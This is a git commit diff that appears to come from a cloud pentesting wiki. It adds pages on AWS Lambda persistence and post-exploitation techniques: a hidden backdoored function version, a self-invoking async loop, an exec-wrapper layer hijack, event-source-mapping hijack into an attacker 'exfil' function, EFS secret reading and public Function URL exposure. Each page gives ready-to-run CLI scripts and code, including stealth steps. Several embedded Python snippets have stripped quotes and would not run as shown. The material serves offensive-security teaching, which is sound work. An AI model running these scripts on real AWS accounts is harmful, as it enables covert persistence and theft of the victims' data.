lambda attacks recheck

2025-12-12 07:40:49 -08:00 · 2025-10-07 00:41:18 +02:00
parent 83663e4f98
commit 27fd007fdd
14 changed files with 863 additions and 5 deletions
--- a/src/SUMMARY.md
+++ b/src/SUMMARY.md
@@ -229,7 +229,10 @@
    - [AWS - KMS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md)
    - [AWS - Lambda Persistence](pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md)
      - [AWS - Abusing Lambda Extensions](pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md)
+      - [AWS - Lambda Alias Version Policy Backdoor](pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-alias-version-policy-backdoor.md)
+      - [AWS - Lambda Async Self Loop Persistence](pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-async-self-loop-persistence.md)
      - [AWS - Lambda Layers Persistence](pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md)
+      - [AWS - Lambda Exec Wrapper Persistence](pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-exec-wrapper-persistence.md)
    - [AWS - Lightsail Persistence](pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md)
    - [AWS - RDS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md)
    - [AWS - S3 Persistence](pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md)
@@ -259,7 +262,13 @@
    - [AWS - IAM Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md)
    - [AWS - KMS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md)
    - [AWS - Lambda Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md)
-      - [AWS - Steal Lambda Requests](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md)
+      - [AWS - Lambda EFS Mount Injection](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-efs-mount-injection.md)
+      - [AWS - Lambda Event Source Mapping Hijack](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-event-source-mapping-hijack.md)
+      - [AWS - Lambda Function URL Public Exposure](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-function-url-public-exposure.md)
+      - [AWS - Lambda LoggingConfig Redirection](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-loggingconfig-redirection.md)
+      - [AWS - Lambda Runtime Pinning Abuse](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-runtime-pinning-abuse.md)
+      - [AWS - Lambda Steal Requests](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md)
+      - [AWS - Lambda VPC Egress Bypass](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-vpc-egress-bypass.md)
    - [AWS - Lightsail Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md)
    - [AWS - Organizations Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md)
    - [AWS - RDS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md)
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md
@@ -61,6 +61,33 @@ Here you have some ideas to make your **presence in AWS more stealth by creating
 - Every time a new role is created lambda gives assume role permissions to compromised users.
 - Every time new cloudtrail logs are generated, delete/alter them

+### RCE abusing AWS_LAMBDA_EXEC_WRAPPER + Lambda Layers
+
+Abuse the environment variable `AWS_LAMBDA_EXEC_WRAPPER` to execute an attacker-controlled wrapper script before the runtime/handler starts. Deliver the wrapper via a Lambda Layer at `/opt/bin/htwrap`, set `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap`, and then invoke the function. The wrapper runs inside the function runtime process, inherits the function execution role, and finally `exec`s the real runtime so the original handler still executes normally.
+
+{{#ref}}
+aws-lambda-exec-wrapper-persistence.md
+{{#endref}}
+
+### AWS - Lambda Function URL Public Exposure
+
+Abuse Lambda asynchronous destinations together with the Recursion configuration to make a function continually re-invoke itself with no external scheduler (no EventBridge, cron, etc.). By default, Lambda terminates recursive loops, but setting the recursion config to Allow re-enables them. Destinations deliver on the service side for async invokes, so a single seed invoke creates a stealthy, code-free heartbeat/backdoor channel. Optionally throttle with reserved concurrency to keep noise low.
+
+{{#ref}}
+aws-lambda-async-self-loop-persistence.md
+{{#endref}}
+
+### AWS - Lambda Alias-Scoped Resource Policy Backdoor
+
+Create a hidden Lambda version with attacker logic and scope a resource-based policy to that specific version (or alias) using the `--qualifier` parameter in `lambda add-permission`. Grant only `lambda:InvokeFunction` on `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` to an attacker principal. Normal invocations via the function name or primary alias remain unaffected, while the attacker can directly invoke the backdoored version ARN.
+
+This is stealthier than exposing a Function URL and doesn’t change the primary traffic alias.
+
+{{#ref}}
+aws-lambda-alias-version-policy-backdoor.md
+{{#endref}}
+
+
 {{#include ../../../../banners/hacktricks-training.md}}


--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-alias-version-policy-backdoor.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-alias-version-policy-backdoor.md
@@ -0,0 +1,90 @@
+# AWS - Lambda Alias-Scoped Resource Policy Backdoor (Invoke specific hidden version)
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Summary
+
+Create a hidden Lambda version with attacker logic and scope a resource-based policy to that specific version (or alias) using the `--qualifier` parameter in `lambda add-permission`. Grant only `lambda:InvokeFunction` on `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` to an attacker principal. Normal invocations via the function name or primary alias remain unaffected, while the attacker can directly invoke the backdoored version ARN.
+
+This is stealthier than exposing a Function URL and doesn’t change the primary traffic alias.
+
+## Required Permissions (attacker)
+
+- `lambda:UpdateFunctionCode`, `lambda:UpdateFunctionConfiguration`, `lambda:PublishVersion`, `lambda:GetFunctionConfiguration`
+- `lambda:AddPermission` (to add version-scoped resource policy)
+- `iam:CreateRole`, `iam:PutRolePolicy`, `iam:GetRole`, `sts:AssumeRole` (to simulate an attacker principal)
+
+## Attack Steps (CLI)
+
+<details>
+<summary>Publish hidden version, add qualifier-scoped permission, invoke as attacker</summary>
+
+```bash
+# Vars
+REGION=us-east-1
+TARGET_FN=<target-lambda-name>
+
+# [Optional] If you want normal traffic unaffected, ensure a customer alias (e.g., "main") stays on a clean version
+# aws lambda create-alias --function-name "$TARGET_FN" --name main --function-version <clean-version> --region "$REGION"
+
+# 1) Build a small backdoor handler and publish as a new version
+cat > bdoor.py <<PY
+import json, os, boto3
+
+def lambda_handler(e, c):
+    ident = boto3.client(sts).get_caller_identity()
+    return {"ht": True, "who": ident, "env": {"fn": os.getenv(AWS_LAMBDA_FUNCTION_NAME)}}
+PY
+zip bdoor.zip bdoor.py
+aws lambda update-function-code --function-name "$TARGET_FN" --zip-file fileb://bdoor.zip --region $REGION
+aws lambda update-function-configuration --function-name "$TARGET_FN" --handler bdoor.lambda_handler --region $REGION
+until [ "$(aws lambda get-function-configuration --function-name "$TARGET_FN" --region $REGION --query LastUpdateStatus --output text)" = "Successful" ]; do sleep 2; done
+VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text)
+VER_ARN=$(aws lambda get-function --function-name "$TARGET_FN:$VER" --region $REGION --query Configuration.FunctionArn --output text)
+echo "Published version: $VER ($VER_ARN)"
+
+# 2) Create an attacker principal and allow only version invocation (same-account simulation)
+ATTACK_ROLE_NAME=ht-version-invoker
+aws iam create-role --role-name $ATTACK_ROLE_NAME --assume-role-policy-document Version:2012-10-17 >/dev/null
+cat > /tmp/invoke-policy.json <<POL
+{
+  "Version": "2012-10-17",
+  "Statement": [{
+    "Effect": "Allow",
+    "Action": ["lambda:InvokeFunction"],
+    "Resource": ["$VER_ARN"]
+  }]
+}
+POL
+aws iam put-role-policy --role-name $ATTACK_ROLE_NAME --policy-name ht-invoke-version --policy-document file:///tmp/invoke-policy.json
+
+# Add resource-based policy scoped to the version (Qualifier)
+aws lambda add-permission \
+  --function-name "$TARGET_FN" \
+  --qualifier "$VER" \
+  --statement-id ht-version-backdoor \
+  --action lambda:InvokeFunction \
+  --principal arn:aws:iam::$(aws sts get-caller-identity --query Account --output text):role/$ATTACK_ROLE_NAME \
+  --region $REGION
+
+# 3) Assume the attacker role and invoke only the qualified version
+ATTACK_ROLE_ARN=arn:aws:iam::$(aws sts get-caller-identity --query Account --output text):role/$ATTACK_ROLE_NAME
+CREDS=$(aws sts assume-role --role-arn "$ATTACK_ROLE_ARN" --role-session-name htInvoke --query Credentials --output json)
+export AWS_ACCESS_KEY_ID=$(echo $CREDS | jq -r .AccessKeyId)
+export AWS_SECRET_ACCESS_KEY=$(echo $CREDS | jq -r .SecretAccessKey)
+export AWS_SESSION_TOKEN=$(echo $CREDS | jq -r .SessionToken)
+aws lambda invoke --function-name "$VER_ARN" /tmp/ver-out.json --region $REGION >/dev/null
+cat /tmp/ver-out.json
+
+# 4) Clean up backdoor (remove only the version-scoped statement). Optionally remove the role
+aws lambda remove-permission --function-name "$TARGET_FN" --statement-id ht-version-backdoor --qualifier "$VER" --region $REGION || true
+```
+
+</details>
+
+## Impact
+
+- Grants a stealthy backdoor to invoke a hidden version of the function without modifying the primary alias or exposing a Function URL.
+- Limits exposure to only the specified version/alias via the resource-based policy `Qualifier`, reducing detection surface while retaining reliable invocation for the attacker principal.
+
+{{#include ../../../../banners/hacktricks-training.md}}
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-async-self-loop-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-async-self-loop-persistence.md
@@ -0,0 +1,101 @@
+# AWS - Lambda Async Self-Loop Persistence via Destinations + Recursion Allow
+
+Abuse Lambda asynchronous destinations together with the Recursion configuration to make a function continually re-invoke itself with no external scheduler (no EventBridge, cron, etc.). By default, Lambda terminates recursive loops, but setting the recursion config to Allow re-enables them. Destinations deliver on the service side for async invokes, so a single seed invoke creates a stealthy, code-free heartbeat/backdoor channel. Optionally throttle with reserved concurrency to keep noise low.
+
+Notes
+- Lambda does not allow configuring the function to be its own destination directly. Use a function alias as the destination and allow the execution role to invoke that alias.
+- Minimum permissions: ability to read/update the target function’s event invoke config and recursion config, publish a version and manage an alias, and update the function’s execution role policy to allow lambda:InvokeFunction on the alias.
+
+## Requirements
+- Region: us-east-1
+- Vars:
+  - REGION=us-east-1
+  - TARGET_FN=<target-lambda-name>
+
+## Steps
+
+1) Get function ARN and current recursion setting
+```
+FN_ARN=$(aws lambda get-function --function-name "$TARGET_FN" --region $REGION --query Configuration.FunctionArn --output text)
+aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION || true
+```
+
+2) Publish a version and create/update an alias (used as self destination)
+```
+VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text)
+if ! aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION >/dev/null 2>&1; then
+  aws lambda create-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION
+else
+  aws lambda update-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION
+fi
+ALIAS_ARN=$(aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION --query AliasArn --output text)
+```
+
+3) Allow the function execution role to invoke the alias (required by Lambda Destinations→Lambda)
+```
+# Set this to the execution role name used by the target function
+ROLE_NAME=<lambda-execution-role-name>
+cat > /tmp/invoke-self-policy.json <<EOF
+{
+  "Version": "2012-10-17",
+  "Statement": [
+    {
+      "Effect": "Allow",
+      "Action": "lambda:InvokeFunction",
+      "Resource": "${ALIAS_ARN}"
+    }
+  ]
+}
+EOF
+aws iam put-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --policy-document file:///tmp/invoke-self-policy.json --region $REGION
+```
+
+4) Configure async destination to the alias (self via alias) and disable retries
+```
+aws lambda put-function-event-invoke-config \
+  --function-name "$TARGET_FN" \
+  --destination-config OnSuccess={Destination=$ALIAS_ARN} \
+  --maximum-retry-attempts 0 \
+  --region $REGION
+
+# Verify
+aws lambda get-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION --query DestinationConfig
+```
+
+5) Allow recursive loops
+```
+aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Allow --region $REGION
+aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION
+```
+
+6) Seed a single asynchronous invoke
+```
+aws lambda invoke --function-name "$TARGET_FN" --invocation-type Event /tmp/seed.json --region $REGION >/dev/null
+```
+
+7) Observe continuous invocations (examples)
+```
+# Recent logs (if the function logs each run)
+aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 20 --region $REGION --query events[].timestamp --output text
+# or check CloudWatch Metrics for Invocations increasing
+```
+
+8) Optional stealth throttle
+```
+aws lambda put-function-concurrency --function-name "$TARGET_FN" --reserved-concurrent-executions 1 --region $REGION
+```
+
+## Cleanup
+Break the loop and remove persistence.
+```
+aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Terminate --region $REGION
+aws lambda delete-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION || true
+aws lambda delete-function-concurrency --function-name "$TARGET_FN" --region $REGION || true
+# Optional: delete alias and remove the inline policy when finished
+aws lambda delete-alias --function-name "$TARGET_FN" --name loop --region $REGION || true
+ROLE_NAME=<lambda-execution-role-name>
+aws iam delete-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --region $REGION || true
+```
+
+## Impact
+- Single async invoke causes Lambda to continually re-invoke itself with no external scheduler, enabling stealthy persistence/heartbeat. Reserved concurrency can limit noise to a single warm execution.
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-exec-wrapper-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-exec-wrapper-persistence.md
@@ -0,0 +1,98 @@
+# AWS - Lambda Exec Wrapper Layer Hijack (Pre-Handler RCE)
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Summary
+
+Abuse the environment variable `AWS_LAMBDA_EXEC_WRAPPER` to execute an attacker-controlled wrapper script before the runtime/handler starts. Deliver the wrapper via a Lambda Layer at `/opt/bin/htwrap`, set `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap`, and then invoke the function. The wrapper runs inside the function runtime process, inherits the function execution role, and finally `exec`s the real runtime so the original handler still executes normally.
+
+> [!WARNING]
+> This technique grants code execution in the target Lambda without modifying its source code or role and without needing `iam:PassRole`. You only need the ability to update the function configuration and publish/attach a layer.
+
+## Required Permissions (attacker)
+
+- `lambda:UpdateFunctionConfiguration`
+- `lambda:GetFunctionConfiguration`
+- `lambda:InvokeFunction` (or trigger via existing event)
+- `lambda:ListFunctions`, `lambda:ListLayers`
+- `lambda:PublishLayerVersion` (same account) and optionally `lambda:AddLayerVersionPermission` if using a cross-account/public layer
+
+## Wrapper Script
+
+Place the wrapper at `/opt/bin/htwrap` in the layer. It can run pre-handler logic and must end with `exec "$@"` to chain to the real runtime.
+
+```bash
+#!/bin/bash
+set -euo pipefail
+# Pre-handler actions (runs in runtime process context)
+echo "[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGION"
+python3 - <<'PY'
+import boto3, json, os
+try:
+    ident = boto3.client('sts').get_caller_identity()
+    print('[ht] sts identity:', json.dumps(ident))
+except Exception as e:
+    print('[ht] sts error:', e)
+PY
+# Chain to the real runtime
+exec "$@"
+```
+
+## Attack Steps (CLI)
+
+<details>
+<summary>Publish layer, attach to target function, set wrapper, invoke</summary>
+
+```bash
+# Vars
+REGION=us-east-1
+TARGET_FN=<target-lambda-name>
+
+# 1) Package wrapper at /opt/bin/htwrap
+mkdir -p layer/bin
+cat > layer/bin/htwrap <<'WRAP'
+#!/bin/bash
+set -euo pipefail
+echo "[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGION"
+python3 - <<'PY'
+import boto3, json
+print('[ht] sts identity:', __import__('json').dumps(__import__('boto3').client('sts').get_caller_identity()))
+PY
+exec "$@"
+WRAP
+chmod +x layer/bin/htwrap
+(zip -qr htwrap-layer.zip layer)
+
+# 2) Publish the layer
+LAYER_ARN=$(aws lambda publish-layer-version \
+  --layer-name ht-exec-wrapper \
+  --zip-file fileb://htwrap-layer.zip \
+  --compatible-runtimes python3.11 python3.10 python3.9 nodejs20.x nodejs18.x java21 java17 dotnet8 \
+  --query LayerVersionArn --output text --region "$REGION")
+
+echo "$LAYER_ARN"
+
+# 3) Attach the layer and set AWS_LAMBDA_EXEC_WRAPPER
+aws lambda update-function-configuration \
+  --function-name "$TARGET_FN" \
+  --layers "$LAYER_ARN" \
+  --environment "Variables={AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap}" \
+  --region "$REGION"
+
+# Wait for update to finish
+until [ "$(aws lambda get-function-configuration --function-name "$TARGET_FN" --query LastUpdateStatus --output text --region "$REGION")" = "Successful" ]; do sleep 2; done
+
+# 4) Invoke and verify via CloudWatch Logs
+aws lambda invoke --function-name "$TARGET_FN" /tmp/out.json --region "$REGION" >/dev/null
+aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 50 --region "$REGION" --query 'events[].message' --output text
+```
+
+</details>
+
+## Impact
+
+- Pre-handler code execution in the Lambda runtime context using the function's existing execution role.
+- No changes to the function code or role required; works across common managed runtimes (Python, Node.js, Java, .NET).
+- Enables persistence, credential access (e.g., STS), data exfiltration, and runtime tampering before the handler runs.
+
+{{#include ../../../../banners/hacktricks-training.md}}
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md
@@ -32,6 +32,56 @@ Abusing Lambda Layers it's also possible to abuse extensions and persist in the
 ../../aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
 {{#endref}}

+### AWS Lambda – VPC Egress Bypass
+
+Force a Lambda function out of a restricted VPC by updating its configuration with an empty VpcConfig (SubnetIds=[], SecurityGroupIds=[]). The function will then run in the Lambda-managed networking plane, regaining outbound internet access and bypassing egress controls enforced by private VPC subnets without NAT.
+
+{{#ref}}
+aws-lambda-vpc-egress-bypass.md
+{{#endref}}
+
+### AWS Lambda – Runtime Pinning/Rollback Abuse
+
+Abuse `lambda:PutRuntimeManagementConfig` to pin a function to a specific runtime version (Manual) or freeze updates (FunctionUpdate). This preserves compatibility with malicious layers/wrappers and can keep the function on an outdated, vulnerable runtime to aid exploitation and long-term persistence.
+
+{{#ref}}
+aws-lambda-runtime-pinning-abuse.md
+{{#endref}}
+
+### AWS Lambda – Log Siphon via LoggingConfig.LogGroup Redirection
+
+Abuse `lambda:UpdateFunctionConfiguration` advanced logging controls to redirect a function’s logs to an attacker-chosen CloudWatch Logs log group. This works without changing code or the execution role (most Lambda roles already include `logs:CreateLogGroup/CreateLogStream/PutLogEvents` via `AWSLambdaBasicExecutionRole`). If the function prints secrets/request bodies or crashes with stack traces, you can collect them from the new log group.
+
+{{#ref}}
+aws-lambda-loggingconfig-redirection.md
+{{#endref}}
+
+### AWS - Lambda Function URL Public Exposure
+
+Turn a private Lambda Function URL into a public unauthenticated endpoint by switching the Function URL AuthType to NONE and attaching a resource-based policy that grants lambda:InvokeFunctionUrl to everyone. This enables anonymous invocation of internal functions and can expose sensitive backend operations.
+
+{{#ref}}
+aws-lambda-function-url-public-exposure.md
+{{#endref}}
+
+### AWS Lambda – Event Source Mapping Target Hijack
+
+Abuse `UpdateEventSourceMapping` to change the target Lambda function of an existing Event Source Mapping (ESM) so that records from DynamoDB Streams, Kinesis, or SQS are delivered to an attacker-controlled function. This silently diverts live data without touching producers or the original function code.
+
+{{#ref}}
+aws-lambda-event-source-mapping-target-hijack.md
+{{#endref}}
+
+### AWS Lambda – EFS Mount Injection data exfiltration
+
+Abuse `lambda:UpdateFunctionConfiguration` to attach an existing EFS Access Point to a Lambda, then deploy trivial code that lists/reads files from the mounted path to exfiltrate shared secrets/config that the function previously couldn’t access.
+
+{{#ref}}
+aws-lambda-efs-mount-injection.md
+{{#endref}}
+
+
+
 {{#include ../../../../banners/hacktricks-training.md}}


--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-efs-mount-injection.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-efs-mount-injection.md
@@ -0,0 +1,77 @@
+# AWS Lambda – EFS Mount Injection via UpdateFunctionConfiguration (Data Theft)
+
+Abuse `lambda:UpdateFunctionConfiguration` to attach an existing EFS Access Point to a Lambda, then deploy trivial code that lists/reads files from the mounted path to exfiltrate shared secrets/config that the function previously couldn’t access.
+
+## Requirements
+- Permissions on the victim account/principal:
+  - `lambda:GetFunctionConfiguration`
+  - `lambda:ListFunctions` (to find functions)
+  - `lambda:UpdateFunctionConfiguration`
+  - `lambda:UpdateFunctionCode`
+  - `lambda:InvokeFunction`
+  - `efs:DescribeMountTargets` (to confirm mount targets exist)
+- Environment assumptions:
+  - Target Lambda is VPC-enabled and its subnets/SGs can reach the EFS mount target SG over TCP/2049 (e.g. role has AWSLambdaVPCAccessExecutionRole and VPC routing allows it).
+  - The EFS Access Point is in the same VPC and has mount targets in the AZs of the Lambda subnets.
+
+## Attack
+- Variables
+```
+REGION=us-east-1
+TARGET_FN=<target-lambda-name>
+EFS_AP_ARN=<efs-access-point-arn>
+```
+
+1) Attach the EFS Access Point to the Lambda
+```
+aws lambda update-function-configuration \
+  --function-name $TARGET_FN \
+  --file-system-configs Arn=$EFS_AP_ARN,LocalMountPath=/mnt/ht \
+  --region $REGION
+# wait until LastUpdateStatus == Successful
+until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
+```
+
+2) Overwrite code with a simple reader that lists files and peeks first 200 bytes of a candidate secret/config file
+```
+cat > reader.py <<PY
+import os, json
+BASE=/mnt/ht
+
+def lambda_handler(e, c):
+    out={ls:[],peek:None}
+    try:
+        for root, dirs, files in os.walk(BASE):
+            for f in files:
+                p=os.path.join(root,f)
+                out[ls].append(p)
+        cand = next((p for p in out[ls] if secret in p.lower() or config in p.lower()), None)
+        if cand:
+            with open(cand,rb) as fh:
+                out[peek] = fh.read(200).decode(utf-8,ignore)
+    except Exception as ex:
+        out[err]=str(ex)
+    return out
+PY
+zip reader.zip reader.py
+aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://reader.zip --region $REGION
+# If the original handler was different, set it to reader.lambda_handler
+aws lambda update-function-configuration --function-name $TARGET_FN --handler reader.lambda_handler --region $REGION
+until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
+```
+
+3) Invoke and get the data
+```
+aws lambda invoke --function-name $TARGET_FN /tmp/efs-out.json --region $REGION >/dev/null
+cat /tmp/efs-out.json
+```
+
+The output should contain the directory listing under /mnt/ht and a small preview of a chosen secret/config file from EFS.
+
+## Impact
+An attacker with the listed permissions can mount arbitrary in-VPC EFS Access Points into victim Lambda functions to read and exfiltrate shared configuration and secrets stored on EFS that were previously inaccessible to that function.
+
+## Cleanup
+```
+aws lambda update-function-configuration --function-name $TARGET_FN --file-system-configs [] --region $REGION || true
+```
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-event-source-mapping-hijack.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-event-source-mapping-hijack.md
@@ -0,0 +1,81 @@
+# AWS - Hijack Event Source Mapping to Redirect Stream/SQS/Kinesis to Attacker Lambda
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+Abuse `UpdateEventSourceMapping` to change the target Lambda function of an existing Event Source Mapping (ESM) so that records from DynamoDB Streams, Kinesis, or SQS are delivered to an attacker-controlled function. This silently diverts live data without touching producers or the original function code.
+
+## Impact
+- Divert and read live records from existing streams/queues without modifying producer apps or victim code.
+- Potential data exfiltration or logic tampering by processing the victim's traffic in a rogue function.
+
+## Required permissions
+- `lambda:ListEventSourceMappings`
+- `lambda:GetEventSourceMapping`
+- `lambda:UpdateEventSourceMapping`
+- Ability to deploy or reference an attacker-controlled Lambda (`lambda:CreateFunction` or permission to use an existing one).
+
+## Steps
+
+1) Enumerate event source mappings for the victim function
+```
+TARGET_FN=<victim-function-name>
+aws lambda list-event-source-mappings --function-name $TARGET_FN \
+  --query 'EventSourceMappings[].{UUID:UUID,State:State,EventSourceArn:EventSourceArn}'
+export MAP_UUID=$(aws lambda list-event-source-mappings --function-name $TARGET_FN \
+  --query 'EventSourceMappings[0].UUID' --output text)
+export EVENT_SOURCE_ARN=$(aws lambda list-event-source-mappings --function-name $TARGET_FN \
+  --query 'EventSourceMappings[0].EventSourceArn' --output text)
+```
+
+2) Prepare an attacker-controlled receiver Lambda (same region; ideally similar VPC/runtime)
+```
+cat > exfil.py <<'PY'
+import json, boto3, os, time
+
+def lambda_handler(event, context):
+    print(json.dumps(event)[:3000])
+    b = os.environ.get('EXFIL_S3')
+    if b:
+        k = f"evt-{int(time.time())}.json"
+        boto3.client('s3').put_object(Bucket=b, Key=k, Body=json.dumps(event))
+    return {'ok': True}
+PY
+zip exfil.zip exfil.py
+ATTACKER_LAMBDA_ROLE_ARN=<role-with-logs-(and optional S3)-permissions>
+export ATTACKER_FN_ARN=$(aws lambda create-function \
+  --function-name ht-esm-exfil \
+  --runtime python3.11 --role $ATTACKER_LAMBDA_ROLE_ARN \
+  --handler exfil.lambda_handler --zip-file fileb://exfil.zip \
+  --query FunctionArn --output text)
+```
+
+3) Re-point the mapping to the attacker function
+```
+aws lambda update-event-source-mapping --uuid $MAP_UUID --function-name $ATTACKER_FN_ARN
+```
+
+4) Generate an event on the source so the mapping fires (example: SQS)
+```
+SOURCE_SQS_URL=<queue-url>
+aws sqs send-message --queue-url $SOURCE_SQS_URL --message-body '{"x":1}'
+```
+
+5) Verify the attacker function receives the batch
+```
+aws logs filter-log-events --log-group-name /aws/lambda/ht-esm-exfil --limit 5
+```
+
+6) Optional stealth
+```
+# Pause mapping while siphoning events
+aws lambda update-event-source-mapping --uuid $MAP_UUID --enabled false
+
+# Restore original target later
+aws lambda update-event-source-mapping --uuid $MAP_UUID --function-name $TARGET_FN --enabled true
+```
+
+Notes:
+- For SQS ESMs, the execution role of the Lambda processing the queue needs `sqs:ReceiveMessage`, `sqs:DeleteMessage`, and `sqs:GetQueueAttributes` (managed policy: `AWSLambdaSQSQueueExecutionRole`).
+- The ESM UUID remains the same; only its `FunctionArn` is changed, so producers and source ARNs are untouched.
+
+{{#include ../../../../banners/hacktricks-training.md}}
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-function-url-public-exposure.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-function-url-public-exposure.md
@@ -0,0 +1,48 @@
+# AWS - Lambda Function URL Public Exposure (AuthType NONE + Public Invoke Policy)
+
+Turn a private Lambda Function URL into a public unauthenticated endpoint by switching the Function URL AuthType to NONE and attaching a resource-based policy that grants lambda:InvokeFunctionUrl to everyone. This enables anonymous invocation of internal functions and can expose sensitive backend operations.
+
+## Abusing it
+
+- Pre-reqs: lambda:UpdateFunctionUrlConfig, lambda:CreateFunctionUrlConfig, lambda:AddPermission
+- Region: us-east-1
+
+### Steps
+1) Ensure the function has a Function URL (defaults to AWS_IAM):
+    ```
+    aws lambda create-function-url-config --function-name $TARGET_FN --auth-type AWS_IAM || true
+    ```
+
+2) Switch the URL to public (AuthType NONE):
+    ```
+    aws lambda update-function-url-config --function-name $TARGET_FN --auth-type NONE
+    ```
+
+3) Add a resource-based policy statement to allow unauthenticated principals:
+    ```
+    aws lambda add-permission --function-name $TARGET_FN --statement-id ht-public-url --action lambda:InvokeFunctionUrl --principal "*" --function-url-auth-type NONE
+    ```
+
+4) Retrieve the URL and invoke without credentials:
+    ```
+    URL=$(aws lambda get-function-url-config --function-name $TARGET_FN --query FunctionUrl --output text)
+    curl -sS "$URL"
+    ```
+
+### Impact
+- The Lambda function becomes anonymously accessible over the internet.
+
+### Example output (unauthenticated 200)
+
+```
+HTTP 200
+https://e3d4wrnzem45bhdq2mfm3qgde40rjjfc.lambda-url.us-east-1.on.aws/
+{"message": "HackTricks demo: public Function URL reached", "timestamp": 1759761979, "env_hint": "us-east-1", "event_keys": ["version", "routeKey", "rawPath", "rawQueryString", "headers", "requestContext", "isBase64Encoded"]}
+```
+
+### Cleanup
+
+```
+aws lambda remove-permission --function-name $TARGET_FN --statement-id ht-public-url || true
+aws lambda update-function-url-config --function-name $TARGET_FN --auth-type AWS_IAM || true
+```
